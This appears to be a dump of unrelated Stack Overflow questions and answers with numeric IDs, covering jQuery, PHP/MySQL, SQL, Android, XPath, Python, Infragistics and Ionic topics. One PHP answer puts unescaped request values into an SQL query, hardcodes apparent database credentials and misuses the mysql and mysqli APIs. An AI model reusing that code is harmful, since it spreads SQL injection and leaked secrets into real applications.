10263001	0	jquery form validation using groups <p>I have an order form, one part of the form is the address. It contains Company, Street-Address, ZIP, Town, Country with a simple jquery form validation with every field required, and ZIP validated for number. Now what I want is to group them and only have one field showing "valid address" on success, or "address wrong" on error.</p> <p>This is a part of my js code:</p> <pre><code>$("#pageform").validate( { messages: { company_from: addressError, //addressError is a JS var for the error message street_from: addressError, zip_from: addressError, town_from: addressError, country_from: addressError }, groups: { from: "company_from street_from zip_from town_from country_from" }, errorPlacement: function(error, element) { if (element.attr("name") == "company_from" || element.attr("name") == "street_from" || element.attr("name") == "zip_from" || element.attr("name") == "town_from" || element.attr("name") == "country_from" ) { $("#error_from").append(error); } }, success: function(label) { var attribute = $(label[0]).attr("for"); $(".err-ok-" + attribute + " .ok").css("display", "block").css("visibility", "visible"); } } ); </code></pre> <p>This is a part of the corresponding HTML code:</p> <pre><code>&lt;input type="text" name="company_from" id="company_from" class="required default input-s8" maxlength="255" /&gt; &lt;input type="text" name="street_from" id="street_from" class="required default input-s8" maxlength="255" /&gt; &lt;input type="text" name="zip_from" id="zip_from" class="required digits default input-s8" maxlength="5" onblur="checkCalculation()" /&gt; &lt;input type="text" name="town_from" id="town_from" class="required default input-s8" maxlength="255" /&gt; &lt;!-- and a select list for the country --&gt; </code></pre> <p>You do not need to take a closer look on how I show the error and so on, my problem is, that <strong>I do not know when to show the error label and when the success label</strong>. When I enter a letter for the ZIP code, my errorPlacement function and the success function is called (and the errorPlacement first), so I guess it's always calling the success if there is at least one field correct. </p> <p>Please ask if there are any questions, and I am pretty sure there are... :-)</p>
3117647	0	xml element not indented properly <p>i have created a xml file using c# but the main problem is that it is not indented</p> <p>i have used xmldocument.preserverwhitespace=true;</p>
38630132	0	 <p>you cant echo string in php file and introduce as JSONObject in android.</p> <p>all error and message must be in json array and just json array showed in php file .</p> <p>i suggest this :</p> <pre><code> &lt;?php $host='localhost'; $uname='amodbina0106'; $pwd='Amodbina200'; $db="kezin_king"; $result = array(); $con=mysqli_connect("localhost","amodbina0106","Amodbina200","kezin_king"); if ($con-&gt;connect_error) { $result['status'] = false; $result['message'] = 'server lost'; die(json_encode($result)); } $username = $_GET['username']; $password = $_GET['password']; $flag['code']=0; if($name == '' || $username == '' || $password == '' || $email == ''){ $result['status'] = false; $result['message'] = 'All field required'; } else{ $sql=mysql_query("insert into sample values('$id','$name') ",$con); if(mysqli_query($con,$sql)) { $flag['code']=1; $result['status'] = true; $result['message'] = 'hi'; } print(json_encode($result)); mysql_close($con); } ?&gt; </code></pre>
33814145	0	 <p>Does this do it:</p> <pre><code>UPDATE tbl SET defaultHours = 5 WHERE ts &gt;= CURRENT_DATE() - INTERVAL 1 MONTH AND ts &lt; CURRENT_DATE() - INTERVAL 1 MONTH + INTERVAL 1 DAY </code></pre> <p>?</p>
24468586	0	MySQL --> MongoDB: Keep IDs or create mapping? <p>We are going to migrate our database from MySQL to MongoDB. Some URLs pointing at our web application use database IDs (e.g. <a href="http://example.com/post/5" rel="nofollow">http://example.com/post/5</a>) At the moment I see two possibilities:</p> <p>1) Keep existing MySQL IDs and use them as MongoDB IDs. IDs of new documents will get new MongoDB ObjectIDs.</p> <p>2) Generate new MongoDB ObjectIDs for all documents and create a mapping with MySQLId --> MongoDBId for all external links with old IDs in it.</p> <p>2 will mess up my PHP app a little, but I could imagine that #1 will cause problems with indexes or sharding? What is the best practice here to avoid problems?</p>
30062585	0	 <p>I found the quickest solution was to create a sql database with different tables for each type( Vehicles, Lookups etc.). When I just loaded all the data in and queried with a bunch of joins it took over a minute. But by creating foreign key references, indexes and adding primary keys to the table I got it down to less than a second. So I create the query from my c# Code and get back an object that contains all the information I need from each table.</p>
36195493	0	Android drawable oval shape with center out of bound <p>I'm willing to declare a xml drawable with semi-circle. So the center of the oval is out of the bound: <a href="https://i.stack.imgur.com/Ot43c.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ot43c.png" alt="what i want"></a> </p> <p>I tried doing it with scale tag but i can't get it to work, here is what i have done.</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;layer-list xmlns:android="http://schemas.android.com/apk/res/android"&gt; &lt;item&gt; &lt;scale android:scaleGravity="center"&gt; &lt;shape android:shape="ring"&gt; &lt;stroke android:width="2dp" android:color="#C8C8D7"/&gt; &lt;size android:width="300dp" android:height="300dp"/&gt; &lt;/shape&gt; &lt;/scale&gt; &lt;/item&gt; &lt;/layer-list&gt; </code></pre> <p>But it doesn't work.</p>
1496878	0	 <p>You can add a condition that applies to a relative (or absolute node) to any step of an XPath expression.</p> <p>In this case:</p> <pre><code>//*[@id=substring-after(/Reference/@URI, '#')] </code></pre> <p>The <code>//*</code> matches all elements in the document. The part in <code>[]</code> is a condition. Inside the condition the part of the URI element of the root References node is taken, but ignoring the '#' (and anything before it).</p> <p>Sample code, assuming you have loaded your XML into <code>XPathDocument</code> <code>doc</code>:</p> <pre><code>var nav = doc.CreateNavigator(); var found = nav.SelectSingleNode("//*[@id=substring-after(/Reference/@URI, '#')]"); </code></pre>
37702259	0	 <p>Can it be simply because call to rate_limit_status.json also counts? What if you do </p> <pre><code>client.search("baeza") client.search("baeza") client.search("baeza") puts Twitter::REST::Request.new(client, :get, 'https://api.twitter.com/1.1/application/rate_limit_status.json', resources: "search").perform </code></pre> <p>Will it return 176? </p> <p><em>Update</em> - call to rate_limit_status should <em>not</em> affect limits, but would be interesting to see the outcome of the suggested calls anyway.</p> <p><em>Update 2</em></p> <p>Gem fetches only first page by default, no matter of results count. Getting next page(s) is under your control. See <a href="https://github.com/sferik/twitter/blob/77238b540edfbc76aa2f25bc4398c3dad8f55edb/lib/twitter/search_results.rb#L50" rel="nofollow">here</a> - fetch_next_page is private method, called by "each" method of enumerator <a href="https://github.com/sferik/twitter/blob/77238b540edfbc76aa2f25bc4398c3dad8f55edb/lib/twitter/enumerable.rb#L13" rel="nofollow">here</a> - so if you start iterating over search results and pass through all first page results. When you just made a request (called search) - it only fetches first page (one query).</p> <p>Also, gem sets count parameter for API search request to 100 (max allowed) if not specified by default - <a href="https://github.com/sferik/twitter/blob/77238b540edfbc76aa2f25bc4398c3dad8f55edb/lib/twitter/rest/search.rb#L7" rel="nofollow">here</a> for constant and <a href="https://github.com/sferik/twitter/blob/77238b540edfbc76aa2f25bc4398c3dad8f55edb/lib/twitter/rest/search.rb#L31" rel="nofollow">here</a> for setting it </p>
21579269	0	 <p>The dts data Conversion task is time taking if there are 50 plus columns!Found a fix for this at the below link</p> <pre><code>http://rdc.codeplex.com/releases/view/48420 </code></pre> <p>However, it does not seem to work for versions above 2008. So this is how i had to work around the problem</p> <pre><code>*Open the .DTSX file on Notepad++. Choose language as XML *Goto the &lt;DTS:FlatFileColumns&gt; tag. Select all items within this tag *Find the string **DTS:DataType="129"** replace with **DTS:DataType="130"** *Save the .DTSX file. *Open the project again on Visual Studio BIDS *Double Click on the Source Task . You would get the message the metadata of the following output columns does not match the metadata of the external columns with which the output columns are associated: ... Do you want to replace the metadata of the output columns with the metadata of the external columns? *Now Click Yes. We are done ! </code></pre>
19292250	0	 <p>The $id item is contained in an ID item. Try:</p> <pre><code>$id = $item['ID']['$id']; </code></pre> <p>Edit: I am not sure why you have the nested loops. This should be enough:</p> <pre><code>foreach ($json as $key1 =&gt; $item) { $id = $item['ID']['$id']; echo gmdate("d-m-Y H:i", strtotime('+2 hours', $item['datum'])) . '&amp;nbsp;' . $item['titel'] . ' met ID: '.$id.'&lt;br/&gt;'; } </code></pre>
4320985	0	 <p>To fetch records based on TIME only:</p> <pre><code>WHERE TIME(FROM_UNIXTIME(your_column)) BETWEEN '01:15:00' AND '01:15:59' </code></pre> <p>Regards</p>
25774392	0	 <p>The simplest approach would be to not set the proxy when Fiddler isn't running.</p> <p>You haven't told us anything about your environment that would enable anyone to help you further.</p>
23191488	0	 <p>You didn't put it in Form use input hidden to post it </p> <pre><code>&lt;form method="post" action="&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;"&gt; &lt;input type="number" name="vuelto"&gt;&lt;br&gt; &lt;input type="hidden" name="cobro" value="&lt;?php echo $cobro; ?&gt;"&gt; &lt;input type="submit" name="submit" value="Submit Form"&gt;&lt;br&gt; &lt;/form&gt; </code></pre> <p>That's how you can pass cobro variable value which will be available in $_POST['cobro']</p>
37661285	0	 <p>i have found out that the div container which contains the background image has only size : 100%, so maybe if i change the size of the container, but i want that the container is responsive too ... hmm anyone a idea ?</p> <p>here pictures where the container is with width: 100% and without<a href="http://i.stack.imgur.com/BH8Sc.png" rel="nofollow">enter image description here</a></p> <p><a href="http://i.stack.imgur.com/TEYN5.png" rel="nofollow">without and with width: 100%</a></p>
33596622	0	java.lang.AbstractMethodError: com.mysql.jdbc.PreparedStatement.setBlob(ILjava/io/InputStream;)V <p>I'm trying to set a BLOB in MySQL DB as below:</p> <pre><code>PreparedStatement ps=con.prepareStatement("insert into image values(?,?,?,?,?)"); ps.setString(1,firstname); ps.setString(2,lastname); ps.setString(3,address); ps.setString(4,phone); if(is!=null) { ps.setBlob(5,is); } int i=ps.executeUpdate(); </code></pre> <p>The line <code>ps.setBlob(5,is)</code> throws the below exception:</p> <blockquote> <p>java.lang.AbstractMethodError: com.mysql.jdbc.PreparedStatement.setBlob(ILjava/io/InputStream;)V</p> </blockquote> <p>How it this caused and how can I solve it?</p>
40263746	1	How to make a list of prices for a receipt? <p>I've been trying for a while to make my receipt to show all the prices I listed,using sum() to show subtotal, and make a dollar sign next to my prices. So far I have a lot of my receipt done, but can't figure this out. This is my code so far:</p> <pre><code>price = [] headphones = int(input("Enter price of Headphones: ") ) while(True): price = int(input("Enter price of Headphones: ")) if (price == -1): break apple= int(input("Enter price of Apple: ") ) while(True): price = int(input("Enter price of Apple: ")) if (price == -1): break pen = int(input("Enter price of Pen: ") ) while(True): price = int(input("Enter price of Pen: ")) if (price == -1): break mouse = int(input("Enter price of Mouse: ") ) while(True): price = int(input("Enter price of Mouse: ")) if (price == -1): break paper = int(input("Enter price of amount for Paper: ") ) while(True): price = int(input("Enter price of amount for Paper: ")) if (price == -1): break cookies = int(input("Enter price of Cookies: ") ) while(True): price = int(input("Enter price of Cookies: ")) if (price == -1): break bananas = int(input("Enter price of Bananas: ") ) while(True): price = int(input("Enter price of Bananas:")) if (price == -1): break bread = int(input("Enter price of Bread: ") ) while(True): price = int(input("Enter price of Bread: ")) if (price == -1): break subtotal = headphones + apple + pen + mouse + paper + cookies + bananas + bread tax = int(subtotal * 0.065) total = subtotal + tax a = headphones b = apple c = pen d = mouse e = paper f = cookies g = bananas h = bread w = subtotal y = w * .065 v = y+w print("Target Recipt".center(80, "-")) print("-".center(80, "-")) print("Headphones $: ".center(0, ), headphones) print("Apple $: ".center(0, ), apple) print("Pen $: ".center(0, ), pen) print("Mouse $: ".center(0, ), mouse) print("Paper $: ".center(0, ), paper) print("Cookies $: ".center(0, ), cookies) print("Bananas $: ".center(0, ), bananas) print("Bread $: ".center(0, ), bread) print("-".center(80, "-")) print() print() print("Subtotal".center(37, ), w) print("Tax".center(37, ), y) print() print("Total".center(37, ), v) print() print() print('Have a wonderful day!'.center(80, "-")) </code></pre> <p>I can't seem to figure out what what I'm doing wrong. I know that I'm supposed to use this:</p> <pre><code>prices = [] while(True): p = float(input("Enter a price" )) prices.append(p) for i in range(len(prices)): print(prices[i]) </code></pre>
36406229	0	 <p>I only found 2 issues, and that was that you were setting it globally and you had the shadow AFTER you created the sun. You can move it wherever you'd like, but if you wanted it applied to your "Sun", then it would be best done like this.</p> <p>The way I've found best to stop that problem is by wrapping my change code in save() and restore() functions. Like this:</p> <pre><code> }, Sun: { render: function(){ ctx.fillStyle = "rgb(255,255,51)"; ctx.save(); //store ctx so it can be later reused. ctx.shadowColor = 'yellow'; ctx.shadowBlur = 50; ctx.shadowOffsetX = 0; ctx.shadowOffsetY = 0; ctx.beginPath(); ctx.arc(rectX, rectY, rectW, rectH, Math.PI*2, true); //alligns the sun in center ctx.closePath(); ctx.fill(); ctx.restore(); //ctx at time of save. </code></pre> <p>Working Fiddle: <a href="https://jsfiddle.net/gregborbonus/g1d6jkh7/" rel="nofollow">https://jsfiddle.net/gregborbonus/g1d6jkh7/</a></p>
31148451	0	Reading numeric keys from JSON file <p>Let's say I store a dictionary's values in JSON file. Here is the simplified code:</p> <pre><code>test = {} for i in range(10): for j in range(15): test['{},{}'.format(i, j)] = i * j with open('file1.json', 'w') as f: json.dump(test, f) </code></pre> <p>I have hard time reading back from this file. How can I read back from this file into a dictionary with elements like key as [i,j] and value as i*j? I use simple </p> <pre><code>with open('file1.json', 'r') as f: data2 = json.load(f) </code></pre>
12058250	0	"Index was outside the bounds of the array" on Infragistics UltraGrid when OnPaint is called <p>I've binded my grid's DataSource to a BindingSource object which i update from another thread. I've wrote the following code:</p> <pre><code> protected override void OnPaint(PaintEventArgs pe) { if (this.InvokeRequired) { this.Invoke(new OnPaintMethodInvoker(this.OnPaint), pe); } else { try { base.OnPaint(pe); } catch { } } } </code></pre> <p>And two things happens to me: 1. the Invoke is never being called (i guess the ultragrid know how to handle it) 2. when i play with the screen (mouseover/resize) while the data is being updated - i recieve the following exception:</p> <p>Index was outside the bounds of the array.</p> <pre><code> at Infragistics.Shared.SparseArray.GetItemAtScrollIndex(Int32 scrollIndex, ICreateItemCallback createItemCallback) at Infragistics.Win.UltraWinGrid.ScrollCountManagerSparseArray.GetItemAtScrollIndex(Int32 scrollIndex, Boolean allocate) at Infragistics.Win.UltraWinGrid.RowsCollection.GetRowAtScrollIndex(Int32 scrollIndex, Boolean allocate) at Infragistics.Win.UltraWinGrid.RowsCollection.get_IsLastScrollableRowNotAllocatedYet() at Infragistics.Win.UltraWinGrid.RowScrollRegion.IsLastScrollableRowVisible(ScrollbarVisibility colScrollbarVisibility) at Infragistics.Win.UltraWinGrid.RowScrollRegion.GetMaxScrollPosition(Boolean scrollToFill) at Infragistics.Win.UltraWinGrid.RowScrollRegion.EnsureScrollRegionFilled(Boolean calledFromRegenerateVisibleRows) at Infragistics.Win.UltraWinGrid.RowScrollRegion.RegenerateVisibleRows(Boolean resetScrollInfo) at Infragistics.Win.UltraWinGrid.RowScrollRegion.RegenerateVisibleRows() at Infragistics.Win.UltraWinGrid.RowScrollRegion.WillScrollbarBeShown(ScrollbarVisibility assumeColScrollbarsVisible) at Infragistics.Win.UltraWinGrid.ScrollRegionBase.WillScrollbarBeShown() at Infragistics.Win.UltraWinGrid.RowScrollRegion.PositionScrollbar(Boolean resetScrollInfo) at Infragistics.Win.UltraWinGrid.ScrollRegionBase.SetOriginAndExtent(Int32 origin, Int32 extent) at Infragistics.Win.UltraWinGrid.RowScrollRegion.SetOriginAndExtent(Int32 origin, Int32 extent) at Infragistics.Win.UltraWinGrid.DataAreaUIElement.ResizeRowScrollRegions() at Infragistics.Win.UltraWinGrid.DataAreaUIElement.PositionChildElements() at Infragistics.Win.UIElement.VerifyChildElements(ControlUIElementBase controlElement, Boolean recursive) at Infragistics.Win.UltraWinGrid.DataAreaUIElement.VerifyChildElements(ControlUIElementBase controlElement, Boolean recursive) at Infragistics.Win.UltraWinGrid.DataAreaUIElement.set_Rect(Rectangle value) at Infragistics.Win.UltraWinGrid.UltraGridUIElement.PositionChildElements() at Infragistics.Win.UIElement.VerifyChildElements(ControlUIElementBase controlElement, Boolean recursive) at Infragistics.Win.UltraWinGrid.UltraGridUIElement.VerifyChildElements(ControlUIElementBase controlElement, Boolean recursive) at Infragistics.Win.UIElement.DrawHelper(Graphics graphics, Rectangle invalidRectangle, Boolean doubleBuffer, AlphaBlendMode alphaBlendMode, Boolean clipText, Boolean forceDrawAsFocused, Boolean preventAlphaBlendGraphics) at Infragistics.Win.UIElement.Draw(Graphics graphics, Rectangle invalidRectangle, Boolean doubleBuffer, AlphaBlendMode alphaBlendMode, Boolean forceDrawAsFocused, Boolean preventAlphaBlendGraphics) at Infragistics.Win.ControlUIElementBase.Draw(Graphics graphics, Rectangle invalidRectangle, Boolean doubleBuffer, AlphaBlendMode alphaBlendMode, Size elementSize, Boolean preventAlphaBlendGraphics) at Infragistics.Win.ControlUIElementBase.Draw(Graphics graphics, Rectangle invalidRectangle, Boolean doubleBuffer, AlphaBlendMode alphaBlendMode, Size elementSize) at Infragistics.Win.ControlUIElementBase.Draw(Graphics graphics, Rectangle invalidRectangle, Boolean doubleBuffer, AlphaBlendMode alphaBlendMode) at Infragistics.Win.UltraWinGrid.UltraGridUIElement.Draw(Graphics graphics, Rectangle invalidRectangle, Boolean doubleBuffer, AlphaBlendMode alphaBlendMode) at Infragistics.Win.UltraControlBase.OnPaint(PaintEventArgs pe) at Infragistics.Win.UltraWinGrid.UltraGrid.OnPaint(PaintEventArgs pe) at MyProject.Common.UI.Controls.GridControl.OnPaint(PaintEventArgs pe) </code></pre> <p>Anyone knows what could be the problem? I've tried to put lock(this) around the base.OnPaint(pe) but it didn't help.</p>
32751507	0	Wordpress Rest Api ionic app loading <p>I'm developing a Wordpress Ionic application using the Wordpress REST API and Jetpack. I followed a tutorial <a href="https://www.youtube.com/watch?v=jbopML8dnqg" rel="nofollow noreferrer">Hybrid Mobile Application with Ionic/Cordova</a>, but ran into an ugly problem. When I enter my REST API link in <code>$http.get()</code> and try it in my browser it keeps loading like this:</p> <p><a href="https://i.stack.imgur.com/tAY9L.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/tAY9L.png" alt="http://imgur.com/gallery/6lqUK2M/"></a></p> <p>On the other hand, the <a href="http://But%20when%20I%20but%20freshly-press%20api%20it%20works" rel="nofollow noreferrer">Freshy-Pressed Api</a> works, though I don't know why.</p> <p>Here is the HTML and JavaScript I'm using:</p> <pre class="lang-js prettyprint-override"><code>var FPApp = angular.module("FPApp", ["ionic"]); FPApp.service("FPSvc", ["$http", "$rootScope", FPSvc]); FPApp.controller("FPCtrl", ["$scope", "$sce", "$ionicLoading", "$ionicListDelegate", "$ionicPlatform", "FPSvc", FPCtrl]); function FPCtrl($scope, $sce, $ionicLoading, $ionicListDelegate, $ionicPlatform, FPSvc) { $ionicLoading.show({template: "Loading blogs..."}); $scope.deviceReady = false; $ionicPlatform.ready(function() { $scope.$apply(function() { $scope.deviceReady = true; }); }); $scope.blogs = []; $scope.params = {}; $scope.$on("FPApp.blogs", function(_, result) { result.posts.forEach(function(b) { $scope.blogs.push({ name: b.author.name, avatar_URL: b.author.avatar_URL, title: $sce.trustAsHtml(b.title), URL: b.URL, featured_image: b.post_thumbnail.URL }); }); $scope.params.before = result.date_range.oldest; $scope.$broadcast("scroll.infiniteScrollComplete"); $scope.$broadcast("scroll.refreshComplete"); $ionicLoading.hide(); }); $scope.loadMore = function() { FPSvc.loadBlogs($scope.params); } $scope.reload = function() { $scope.blogs = []; $scope.params = {}; FPSvc.loadBlogs(); } $scope.show = function($index) { cordova.InAppBrowser.open($scope.blogs[$index].URL, "_blank", "location=no"); } $scope.share = function($index) { $ionicListDelegate.closeOptionButtons(); window.socialmessage.send({ url: $scope.blogs[$index].URL }); } } function FPSvc($http, $rootScope) { this.loadBlogs = function(params) { $http.get("https://public-api.wordpress.com/rest/v1/sites/100060382/posts/", { params: params}) .success(function(result) { $rootScope.$broadcast("FPApp.blogs", result); }); } } </code></pre> <pre class="lang-html prettyprint-override"><code>&lt;html lang="en" data-ng-app="FPApp"&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;title&gt;Document&lt;/title&gt; &lt;!--Setup Cordova--&gt; &lt;meta http-equiv="Content-Security-Policy" content="default-src *;"&gt; &lt;script src="cordova.js"&gt;&lt;/script&gt; &lt;!--Setup Ionic--&gt; &lt;link rel="stylesheet" href="lib/ionic/css/ionic.css"&gt; &lt;script src="lib/ionic/js/ionic.bundle.js"&gt;&lt;/script&gt; &lt;!--Setup Application--&gt; &lt;link rel="stylesheet" href="index.css"&gt; &lt;script src="index.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body data-ng-controller="FPCtrl"&gt; &lt;ion-pane&gt; &lt;div class="bar bar-header bar-energized"&gt; &lt;h1 class="title"&gt;ZahranPress&lt;/h1&gt; &lt;/div&gt; &lt;ion-content class="background"&gt; &lt;ion-refresher pulling-text="Pull" on-refresh="reload()"&gt; &lt;/ion-refresher&gt; &lt;div class="list card" data-ng-repeat="b in blogs"&gt; &lt;div class="item item-avatar"&gt; &lt;img data-ng-src="{{b.avatar_URL}}" alt=""&gt; &lt;h2 data-ng-bind-html="b.title"&gt;&lt;/h2&gt; &lt;p&gt; {{ b.name }} &lt;/p&gt; &lt;/div&gt; &lt;div class="item item-body"&gt; &lt;img data-ng-if="b.featured_image" data-ng-src="{{ b.featured_image }}" alt="" class="full-image"&gt; &lt;/div&gt; &lt;div class="item tabs tabs-secondary tabs-icon-left"&gt; &lt;a class="tab-item" data-ng-click="show($index)"&gt; &lt;i class="icon ion-ios-book"&gt;&lt;/i&gt; Read &lt;/a&gt; &lt;a class="tab-item" data-ng-click="share($index)"&gt; &lt;i class="icon ion-share"&gt;&lt;/i&gt; Share &lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;ion-infinite-scroll on-infinite="loadMore()" ng-if="deviceReady"&gt;&lt;/ion-infinite-scroll&gt; &lt;/ion-content&gt; &lt;/ion-pane&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>How do I resolve this problem?</p>
30335255	0	 <p>You could do something like this:</p> <pre><code>select ID, max(case when CVG = 'A' then 'TRUE' else 'FALSE' end), max(case when CVG = 'B' then 'TRUE' else 'FALSE' end), max(case when CVG = 'C' then 'TRUE' else 'FALSE' end), from table group by ID </code></pre> <p>The case + max will select the true if even one row is found for that ID, otherwise false.</p>
39576785	0	Using IF EXISTS with a CTE <p>I want to check if a CTE table has record or null. But I always get error message 'Incorrect syntax near the keyword 'IF'' for the SQL below. Now there is no matching record in ADMISSION_OUTSIDE TABLE. The result of the SQl should print 'NOT OK'. Thanks,</p> <pre><code>WITH ADMISSION_OUTSIDE AS ( ..... ..... ) IF EXISTS (SELECT * FROM ADMISSION_OUTSIDE) PRINT 'OK' ELSE PRINT 'NOT OK' </code></pre>
23959623	0	 <p>Make the first function call the next one and add this to your HTML :</p> <pre><code> &lt;input&gt; type=button onclick="validateForm(); return false;" &lt;/input&gt; </code></pre> <p>Putting 'return false' will prevent redirection and will give time for your function to execute.</p> <pre><code>function validateForm(){ var email = document.forms["form"]["Email"].value; if(email == null || email == ""){ alert("Email must be filled out"); return false; } else redirect(); } </code></pre> <p>Additionally, I'd recommend to abstain from putting any code in your HTML. It is considered a "bad practice". However, if you still want to put your code, it'll be more appropriate to put it in the form as an "onsubmit" action:</p> <pre><code>&lt;form onsubmit="validateForm()"&gt; </code></pre> <p>If you want the function to execute when the submit button is clicked, you can just add an event listener in your script and an id to your button, like this:</p> <pre><code>var button = document.getElementById("submit"); button.onclick = function validateForm() { /*same code as above..*/ }; </code></pre> <p>Hope it helps!</p>
15542878	0	 <p>This works fine for me:</p> <pre><code>$q3='SELECT users.uid, users.vr, users.br, AES_DECRYPT(users.nm1,"123") AS nm1, AES_DECRYPT(users.nm2,"123") AS nm2, AES_DECRYPT(users.nm3,"123") AS nm3, ussys.ty1, ussys.ty3 FROM users,ussys WHERE users.uid=ussys.uid ORDER BY nm1 DESC '; </code></pre> <p>It sorts nicely on nm1, giving me Zack-Willeke-Victor-Roiwan-Plop-Kwab-Krab-Karel-Johannes-Harry-Gerard-Dirk-Cornelis-Bernard-Anton as a result.</p>
38288304	0	Advice about INSERT statement performance in SQL Server <p>I need to generate random numbers in SQL Server and write these codes into the table. I used the SQL statement as follows:</p> <pre><code>while (select count(code) from tb_random) &lt;1000000 begin SET NOCOUNT ON declare @r int set @r = rand()*10000000 insert into tb_random values(@r) end </code></pre> <p>It takes over 20h to complete this query. Could you give me an idea to solve this performance problem?</p>
15622381	0	 <p>An alternative solution might be to create a database view on table1, with a field called something like <code>title_Name</code> (defined as table1.Name for version #1, and as table1.title for version #2), and use the database view instead of table1 in your query, joined like so:</p> <pre><code>INNER JOIN table3 t3 on t1.title_Name = t3.Name </code></pre>
26412956	0	 <p>This worked for me on a CentOS/Plesk server:</p> <p>mysql_upgrade -uadmin -p<code>&lt; /etc/psa/.psa.shadow</code> -f</p> <p>service mysqld restart</p> <p><a href="http://kb.sp.parallels.com/en/427" rel="nofollow">http://kb.sp.parallels.com/en/427</a></p>
16919086	0	Figuring out an offset in assembly with OllyDBG <p>Relevant assembly:</p> <pre><code>$ &gt; 94D3A705 PUSH hw.05A7D394 ; ASCII "glBegin" $+5 &gt; E8 99C80500 CALL &lt;JMP.&amp;SDL2.SDL_GL_GetProcAddress&gt; $+A &gt; 83C4 04 ADD ESP,4 $+D &gt; A3 04E03B06 MOV DWORD PTR DS:[63BE004],EAX $+12 &gt; 8B0D 04E03B06 MOV ECX,DWORD PTR DS:[63BE004] ; OPENGL32.glBegin $+18 &gt; 890D 38E83B06 MOV DWORD PTR DS:[63BE838],ECX </code></pre> <p>The first line pushes a string address onto stack as function argument. And the last line copy's value from ECX to this DWORD data object. This address is my target. I want to replace the containing DWORD value.</p> <p>In my C++ code I first obtain the address for the first line's push function and then I add an offset. By adding the offset 0x1A the code works, but when I try adding + 0x18 then it doesn't work.</p> <p>I don't fancy testing this for every function, what is the underlying idea that I'm missing?</p>
22786300	0	Give limited access to android app using Phonegap <p>I have created an android app using phonegap. I want to run the app to limit its usage to only 5 times means user can open this app only for 5 times after that user will not be able to open it instead it will show a message.</p> <p>How can i do this ?</p>
11532882	1	Show progress while running python unittest? <p>I have a very large TestSuite that I run with <code>TextTestRunner</code> from the python unittest framework. Unfortunately I have no idea how many tests are already done while the test are running.</p> <p>Basically I'd like to convert this output:</p> <pre><code>test_choice (__main__.TestSequenceFunctions) ... ok test_sample (__main__.TestSequenceFunctions) ... ok test_shuffle (__main__.TestSequenceFunctions) ... ok ---------------------------------------------------------------------- Ran 3 tests in 0.110s OK </code></pre> <p>to</p> <pre><code>[1/3] test_choice (__main__.TestSequenceFunctions) ... ok [2/3] test_sample (__main__.TestSequenceFunctions) ... ok [3/3] test_shuffle (__main__.TestSequenceFunctions) ... ok ---------------------------------------------------------------------- Ran 3 tests in 0.110s OK </code></pre> <p>Do I have to subclass <code>TextTestRunner</code> to achieve this and if yes, how?</p> <p><em>Note: I'm aware of nose and the available plugins, but it does not quite fit in my application and I'd like to avoid the dependency.</em></p> <p><strong>EDIT</strong> Why I'd like to avoid <em>nose</em>:</p> <p>My Application is basically an additional framework for the tests. It select the correct test cases, provides library functions for them and executes the tests multiple times for long term testing. (the tests run against an external machine)</p> <p>So here is how I run my tests right now:</p> <pre><code># do all sort of preperations [...] test_suite = TestSuite() repeatitions = 100 tests = get_tests() for i in range(0, repeatitions): test_suite.addTests(tests) TextTestRunner(verbosity=2).run(test_suite) </code></pre> <p>My problem with nose is, that it is designed to discover the tests from the filesystem and I was unable to find a clear documentation how to run it on a particular TestSuite directly from python.</p>
35035440	0	 <p>Try this:</p> <pre><code>div class="container slideshowContainer" style="width: 100%;"&gt; &lt;!-- BEGIN REVOLUTION SLIDER --&gt; &lt;div class="fullwidthbanner-container slider-main margin-bottom-10"&gt; &lt;div class="fullwidthabnner"&gt; &lt;ul id="revolutionul" style="display:none;"&gt; &lt;!-- OUTPUT THE SLIDES --&gt; &lt;?php shuffle($slides); foreach($slides as $d){ ?&gt; &lt;li data-transition="fade" data-slotamount="8" data-masterspeed="700" data-delay="9400" data-thumb="assets/img/sliders/revolution/thumbs/thumb2.jpg"&gt; &lt;?php if($d['slideshow_image_sub_title_4'] != ""){ ?&gt; &lt;a href="&lt;?php echo $d['slideshow_image_sub_title_4']; ?&gt;"&gt; &lt;img src="uploads/images/&lt;?php echo $d['slideshow_image_file']; ?&gt;" title="&lt;?php echo $d['slideshow_image_title']; ?&gt;" style="width: 100%;" /&gt; &lt;/a&gt; &lt;?php } else { ?&gt; &lt;img src="uploads/images/&lt;?php echo $d['slideshow_image_file']; ?&gt;" title="&lt;?php echo $d['slideshow_image_title']; ?&gt;" style="width: 100%;" /&gt; &lt;?php } ?&gt; &lt;/li&gt; &lt;?php } ?&gt; &lt;/ul&gt; &lt;div class="tp-bannertimer tp-bottom"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- END REVOLUTION SLIDER --&gt; &lt;/div&gt; </code></pre> <p><a href="http://php.net/manual/de/function.shuffle.php" rel="nofollow">http://php.net/manual/de/function.shuffle.php</a></p>
20382107	0	Creating library project and integrating into existing project in android <p>I have an application that has got two basic screens, a home page and a sliding drawer menu fragment to the left of home page like the facebook sliding drawer. Now I am planning to create another page to the right of the home page that appears by sliding to the other side. i would like to create this as a library project and just import it to the existing project. how can I do this. I need to display the the new menu drawer on sliding after adding the library project. How can I achieve this ? That is, I will be having a fragment in the library project that populates data by all necessary api calls from server, and I need to inflate the fragment by sliding in the main project.</p>
3187810	0	How to build cross-IDE java GUI's using "interface builders"? <p>In a Java project with developers that use different IDEs, say Eclipse and IntelliJ, what's the best way of developing visual components using the tools offered by the IDEs ("<a href="http://eclipse.org/vep/" rel="nofollow noreferrer">Visual Editor Project</a>" for Eclipse and "<a href="http://www.jetbrains.com/idea/features/gui_builder.html" rel="nofollow noreferrer">Swing GUI Designer</a>" for IntelliJ)?</p> <p>If a developer using Eclipse needs to make changes to a GUI written by another developer in IntelliJ (and vice versa) he will have quite a hard time and maybe even make the code incompatible with the original tool that built it.</p> <p>Is there a solution or do all developer just need to use the same tool?</p>
